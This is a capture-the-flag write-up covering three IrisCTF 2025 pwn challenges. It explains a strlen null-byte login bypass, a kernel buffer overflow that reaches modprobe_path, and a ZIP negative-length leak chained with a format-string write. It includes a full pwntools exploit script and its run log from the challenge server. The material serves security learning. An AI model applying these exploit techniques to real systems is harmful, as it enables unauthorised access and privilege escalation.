Iris CTF 2025 Pwn
This is a writeup of 3 Pwn tasks from IrisCTF2025, held on January 5th-6th.
The exploit I created can be found here
sqlate
The admin password is randomly generated and cannot be predicted.
The bug is in the password verification process action_login
.In this function,verification is based on the input length checked by strlen
. Therefore, if the password is a single null character, length
becomes 0, and you will be able to log in.
void action_login() {
// Currently only admin login
read_to_buffer("Password?");
unsigned long length = strlen(line_buffer);
for (unsigned long i = 0; i < length && i < 512; i++) {
if (line_buffer[i] != admin_password[i]) {
printf("Wrong password!\n");
return;
}
}
strcpy(current_user.username, "admin");
current_user.userId = 0;
current_user.flags = 0xFFFFFFFF;
}
sendlineafter(b'> ', b'5')
sendlineafter(b': ', b'\x00')
sendlineafter(b'> ', b'7')
Checksumz
This is a kernel task. There are many helpful scripts and Makefiles which I learned a lot from them.
The bug is simple: it doesn’t check the remaining size of the buffer from pos
, so it can read and write adjacent addresses.
More specifically, you are allowed to write to the state
array up to size=512
, but if you shift pos
to 511 bytes and then write 16 bytes, you can overwrite the last member. By using this to increase size
, you can read and write to adjacent addresses.
Adjacent addresses have a size
, so by expanding this you can increase the range that can be read and written.
struct checksum_buffer {
loff_t pos;
char state[512];
size_t size;
size_t read;
char* name;
uint32_t s1;
uint32_t s2;
};
After that, we just put some tty_structs
adjacent, read and write them, and rewrite the modprobepath
to read the flag.
MyFiles
It was interesting challenge. This is a binary that manages users and files. The binary only support uncompressed zip for file format.
An initial user, Tom
, is configured with a random password and an invitecode
is set.
If a user has admin privileges, then we can use the function to read the flag. Tom
does not have admin privileges, and there are no other users, so there is no way for us to gain admin privileges normally.
unsigned __int64 viewFlag()
{
struct user_ctx *v1; // [rsp+8h] [rbp-98h]
char v2[136]; // [rsp+10h] [rbp-90h] BYREF
unsigned __int64 v3; // [rsp+98h] [rbp-8h]
v3 = __readfsqword(0x28u);
v1 = askUserAndPass();
if ( v1 )
{
if ( v1->is_admin )
{
v2[readFile(v2, "flag.txt", 127)] = 0;
printf("Flag: %s\n", v2);
}
else
{
puts("Not admin.");
}
}
return __readfsqword(0x28u) ^ v3;
}
To add a user, you need to enter an invitecode
. This code is read from a file at the beginning of this binary starts, but the provided one and the remote one are different.
This means that you need to either leak it or replace it to a known value.
Also, the new user is created without admin privileges, but this is easy to do since we have a simple FSB in the viewFile
function which makes it easy to build an AAR/W.
unsigned __int64 viewFile()
{
struct zipinfo *v0; // rax
unsigned int content_id; // [rsp+8h] [rbp-248h] BYREF
int name_size; // [rsp+Ch] [rbp-244h]
struct user_ctx *user; // [rsp+10h] [rbp-240h]
_BYTE *v5; // [rsp+18h] [rbp-238h]
struct zip_header_info v6; // [rsp+20h] [rbp-230h] BYREF
char dest[520]; // [rsp+40h] [rbp-210h] BYREF
unsigned __int64 v8; // [rsp+248h] [rbp-8h]
v8 = __readfsqword(0x28u);
user = askUserAndPass();
if ( user )
{
printf("Which file id do you want to contents of? ");
if ( __isoc99_scanf("%d", &content_id) == 1 && content_id <= 0xFF && user->zipinfo[content_id].zip_length != -1 )
{
v0 = (&user->is_admin + 0x81 * content_id);
v5 = v0->zip_buffer.gap4;
if ( readZipInfo(&v6, &v0->zip_buffer.compress_type, *v0->zip_buffer.gap4) != 1 )
{
puts("Invalid zip");
}
else
{
name_size = v6.content_size;
if ( v6.content_size > 0x1FEu )
name_size = 0x1FF;
memcpy(dest, &v5[v6.content_offset + 4], name_size);
dest[name_size] = 0;
printf(dest);
}
}
else
{
puts("Bad file id");
}
}
return __readfsqword(0x28u) ^ v8;
}
So in the end, all you need is to be able to create the file.
In other words, you can create a new user, find out the password for Tom
, or overwrite the password. After spending a little time searching, you will notice that the readZipInfo
process is suspicious.
The process of reading ZIP metadata does various checks, but does not check if filename lengths are negative.
__int64 __fastcall readZipInfo(struct zip_header_info *headerinfo, struct_zip_buffer *zip_buffer, int zip_size)
{
int i; // [rsp+28h] [rbp-18h]
int name_length; // [rsp+2Ch] [rbp-14h]
char *content; // [rsp+38h] [rbp-8h]
content = zip_buffer->content;
if ( zip_buffer->magic == 0x4034B50 ) // a
{
if ( zip_buffer->compress_type ) // b
{
puts("Only uncompressed files are supported");
return 0LL;
}
else
{
name_length = *content;
if ( name_length == name_length )
{
if ( zip_size - 0x19 > name_length ) // c
{
*headerinfo->name = calloc(1uLL, 0x200uLL);
for ( i = 0; i < name_length; ++i )
*(i + *headerinfo->name) = content[i + 4];
if ( zip_buffer->content_length <= (zip_size - name_length - 0x1E) ) // d
{
if ( zip_buffer->content_length > 9 ) // e
{
headerinfo->content_size = zip_buffer->content_length;
headerinfo->content_offset = name_length + 0x1E;
headerinfo->hash = hash(&content[name_length + 4], zip_buffer->content_length);// <----- allow negative indexing
return 1LL;
...
Let’s take a closer look at what this function checks:
- Line a, b: Supported ZIP format
- Line c: Name length does not exceed the total ZIP length (negative length is OK since it is compared with an int)
- Line d: Content length is shorter than the remaining length of the ZIP
- Line e: Content length is greater than 9 bytes
Once everything is verified, the file name is extracted from the ZIP on line 31. At this time, by adding a suitable negative offset, we can create a hash that includes the contents of the previously registered file invitecode.txt
.
For example, the following is the provided invitecode.zip
. If you specify the offset as starting 10 bytes from 0x3f, you can create a hash using the last character of invitecode
(s
in this case) and the known 9 characters b'PK\x01\x02\x3f\x00\x0a\x00\x00'
.
00000000 50 4b 03 04 0a 00 00 00 00 00 fc 85 23 5a 05 67 |PK..........#Z.g|
00000010 a8 04 13 00 00 00 13 00 00 00 0e 00 00 00 69 6e |..............in|
00000020 76 69 74 65 63 6f 64 65 2e 74 78 74 74 65 72 72 |vitecode.txtterr|
00000030 69 62 6c 65 2d 72 65 64 2d 62 75 73 73 65 73 50 |ible-red-bussesP|
00000040 4b 01 02 3f 00 0a 00 00 00 00 00 fc 85 23 5a 05 |K..?.........#Z.|
00000050 67 a8 04 13 00 00 00 13 00 00 00 0e 00 24 00 00 |g............$..|
00000060 00 00 00 00 00 20 00 00 00 00 00 00 00 69 6e 76 |..... .......inv|
00000070 69 74 65 63 6f 64 65 2e 74 78 74 0a 00 20 00 00 |itecode.txt.. ..|
00000080 00 00 00 01 00 18 00 95 6d 78 87 31 5e db 01 95 |........mx.1^...|
00000090 6d 78 87 31 5e db 01 70 ee a1 80 31 5e db 01 50 |mx.1^..p...1^..P|
000000a0 4b 05 06 00 00 00 00 01 00 01 00 60 00 00 00 3f |K..........`...?|
000000b0 00 00 00 00 00
Also, it’s easy to see how much of a negative offset is needed by using the gdb. The offset 0x3f from the beginning of the ZIP is 0x5684a6144e02
here, and the start position of content
when registering is 0x5684a6144fe6
, so the offset shuld be -0x1e4.
0x5684a6144dc0 <fileUsers+1981824>: 0x04034b50000000b5 0x85fc00000000000a
0x5684a6144dd0 <fileUsers+1981840>: 0x001304a867055a23 0x000e000000130000
0x5684a6144de0 <fileUsers+1981856>: 0x657469766e690000 0x7478742e65646f63
0x5684a6144df0 <fileUsers+1981872>: 0x656c626972726574 0x7375622d6465722d
0x5684a6144e00 <fileUsers+1981888>: 0x3f02014b50736573 0xfc00000000000a00
0x5684a6144e10 <fileUsers+1981904>: 0x1304a867055a2385 0x0e00000013000000
pwndbg>
0x5684a6144e20 <fileUsers+1981920>: 0x0000000000002400 0x0000000000002000
0x5684a6144e30 <fileUsers+1981936>: 0x63657469766e6900 0x0a7478742e65646f
0x5684a6144e40 <fileUsers+1981952>: 0x0100000000002000 0x3187786d95001800
0x5684a6144e50 <fileUsers+1981968>: 0x3187786d9501db5e 0x3180a1ee7001db5e
0x5684a6144e60 <fileUsers+1981984>: 0x0006054b5001db5e 0x6000010001000000
0x5684a6144e70 <fileUsers+1982000>: 0x000000003f000000 0x0000000000000000
0x5684a6144e80 <fileUsers+1982016>: 0x0000000000000000 0x0000000000000000
0x5684a6144e90 <fileUsers+1982032>: 0x0000000000000000 0x0000000000000000
0x5684a6144ea0 <fileUsers+1982048>: 0x0000000000000000 0x0000000000000000
0x5684a6144eb0 <fileUsers+1982064>: 0x0000000000000000 0x0000000000000000
pwndbg>
0x5684a6144ec0 <fileUsers+1982080>: 0x0000000000000000 0x0000000000000000
0x5684a6144ed0 <fileUsers+1982096>: 0x0000000000000000 0x0000000000000000
0x5684a6144ee0 <fileUsers+1982112>: 0x0000000000000000 0x0000000000000000
0x5684a6144ef0 <fileUsers+1982128>: 0x0000000000000000 0x0000000000000000
0x5684a6144f00 <fileUsers+1982144>: 0x0000000000000000 0x0000000000000000
0x5684a6144f10 <fileUsers+1982160>: 0x0000000000000000 0x0000000000000000
0x5684a6144f20 <fileUsers+1982176>: 0x0000000000000000 0x0000000000000000
0x5684a6144f30 <fileUsers+1982192>: 0x0000000000000000 0x0000000000000000
0x5684a6144f40 <fileUsers+1982208>: 0x0000000000000000 0x0000000000000000
0x5684a6144f50 <fileUsers+1982224>: 0x0000000000000000 0x0000000000000000
pwndbg>
0x5684a6144f60 <fileUsers+1982240>: 0x0000000000000000 0x0000000000000000
0x5684a6144f70 <fileUsers+1982256>: 0x0000000000000000 0x0000000000000000
0x5684a6144f80 <fileUsers+1982272>: 0x0000000000000000 0x0000000000000000
0x5684a6144f90 <fileUsers+1982288>: 0x0000000000000000 0x0000000000000000
0x5684a6144fa0 <fileUsers+1982304>: 0x0000000000000000 0x0000000000000000
0x5684a6144fb0 <fileUsers+1982320>: 0x0000000000000000 0x0000000000000000
0x5684a6144fc0 <fileUsers+1982336>: 0x000000b100000000 0x0000001404034b50
0x5684a6144fd0 <fileUsers+1982352>: 0x2ae4002100000000 0x000f0000000a5303
0x5684a6144fe0 <fileUsers+1982368>: 0x6161fffffe1c0000 0x6161616161616161
The created hash value can be confirmed via listFiles
, so obtain the hash from there and identify the part of invitecode
string by performing an bruteforce locally. The invitecode
can be restored by repeating this process the number of characters of the invitecode
. Note that listFiles
shows that the provided invitecode
is 19 characters, while the remote one is 20 characters, so you will need to adjust the offset. Also, the offset increases each time a file is registered, so you need to take that into consideration too.
After leaking the invitecode
, we just create a user, leak it using a format string, give the created user admin privileges, and read the flag.
from pwn import *
#context.log_level = 'debug'
from zipfile import ZipFile
context.arch = 'amd64'
context.terminal = ['tmux', 'split-window', '-h']
TARGET = './chal'
HOST = 'myfiles.chal.irisc.tf'
PORT = 10001
def start():
if not args.R:
print("local")
return process(TARGET)
else:
print("remote")
return remote(HOST, PORT)
def get_base_address(proc):
lines = open("/proc/{}/maps".format(proc.pid), 'r').readlines()
for line in lines :
if TARGET[2:] in line.split('/')[-1] :
break
return int(line.split('-')[0], 16)
def debug(proc, breakpoints):
script = "handle SIGALRM ignore\n"
PIE = get_base_address(proc)
for bp in breakpoints:
script += "b *0x%x\n"%(PIE+bp)
script += "c"
gdb.attach(proc, gdbscript=script)
def dbg(val): print("\t-> %s: 0x%x" % (val, eval(val)))
from binascii import hexlify
def upload(uid, file):
r.sendlineafter(b'> ', b'4')
r.sendlineafter(b'? ', str(uid).encode())
r.sendlineafter(b'file\n', hexlify(file))
def list_file(uid=15):
r.sendlineafter(b'> ', b'2')
r.sendlineafter(b'? ', str(uid).encode())
def create_user(code, name, pw):
r.sendlineafter(b'> ', b'3')
r.sendlineafter(b'? ', code)
r.sendlineafter(b'? ', name)
r.sendlineafter(b'? ', pw)
def view_file(uid, pw, cid):
r.sendlineafter(b'> ', b'5')
r.sendlineafter(b'? ', str(uid).encode())
r.sendlineafter(b'? ', pw)
r.sendlineafter(b'? ', str(cid).encode())
def view_flag(uid, pw):
r.sendlineafter(b'> ', b'6')
r.sendlineafter(b'? ', str(uid).encode())
r.sendlineafter(b'? ', pw)
def dohash(inp, leng=10):
out = 0xCBF29CE484222325
for i in range(leng):
out = 0x100000001B3 * (inp[i] ^ out)
out &= 0xffffffffffffffff
return out
# create base zip file
with ZipFile('exp.zip', 'w') as myzip:
with myzip.open('a'*0x20, 'w') as myfile:
myfile.write(b'b'*0xf)
r = start()
if args.D:
#debug(r, [0x23b7]) # fsb
debug(r, [0x17c8]) # length check -- call hash
with open('./exp.zip', 'rb') as f:
inp = f.read()
# generate hash with invitecode
contlen_offset = 0x12
namelen_offset = 0x12+0x8
contlen = 0xa
# change name_length offset and generate hash 20times
for i in range(20):
namelen = 0x100000000-(0x1e4-1) - i*5 - (512*i)
if not args.R:
namelen = 0x100000000-0x1e4 - i*5 - (512*i)
forge = inp[:contlen_offset] + p32(contlen) + inp[contlen_offset+4:namelen_offset]+p32(namelen)+inp[namelen_offset+4:0x1ff]
upload(15, forge)
# gather all hashes
list_file()
hashes = []
for i in range(20):
r.recvuntil(b' 10 ')
hashes.append(int(r.recvuntil(b'\n', True), 16))
# bruteforce with small wordbag
invite_code = b''
wordbag = '-abcdefghijklmnopqrstuvwxyz'
seed = b'PK\x01\x02\x3f\x00\x0a\x00\x00'
while len(invite_code) < 20:
for w in wordbag:
if hashes[len(invite_code)] == dohash((w.encode()+invite_code+seed)[:10]):
invite_code = w.encode() + invite_code
break
print(f'found invitecode: {invite_code}')
if not args.R:
invite_code = b'terrible-red-busses'
# use fsb to overwrite admin flag
user = b'aaaa'
pw = b'bbbb'
create_user(invite_code, user, pw)
with ZipFile('exp.zip', 'w') as myzip:
with myzip.open('aa', 'w') as myfile:
myfile.write(b'|%8$p|@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@')
with open('./exp.zip', 'rb') as f:
inp = f.read()
upload(0, inp)
view_file(0, pw, 0)
r.recvuntil(b'|')
leak = int(r.recvuntil(b'|', True), 16)
print(f'{leak = :#x}')
with ZipFile('exp.zip', 'w') as myzip:
with myzip.open('aa', 'w') as myfile:
myfile.write(b'%c%16$hhnaaaaaaa'+p64(leak+0x10))
with open('./exp.zip', 'rb') as f:
inp = f.read()
upload(0, inp)
view_file(0, pw, 1)
view_flag(0, pw)
r.interactive()
r.close()
[+] Opening connection to myfiles.chal.irisc.tf on port 10001: Done
found invitecode: b'yelling-pixel-corals'
leak = 0x561535991040
[*] Switching to interactive mode
Flag: irisctf{tom_needs_to_rethink_his_security}
1. List users
2. List files
3. Create user
4. Upload file
5. View file
6. Get flag
7. Exit
> $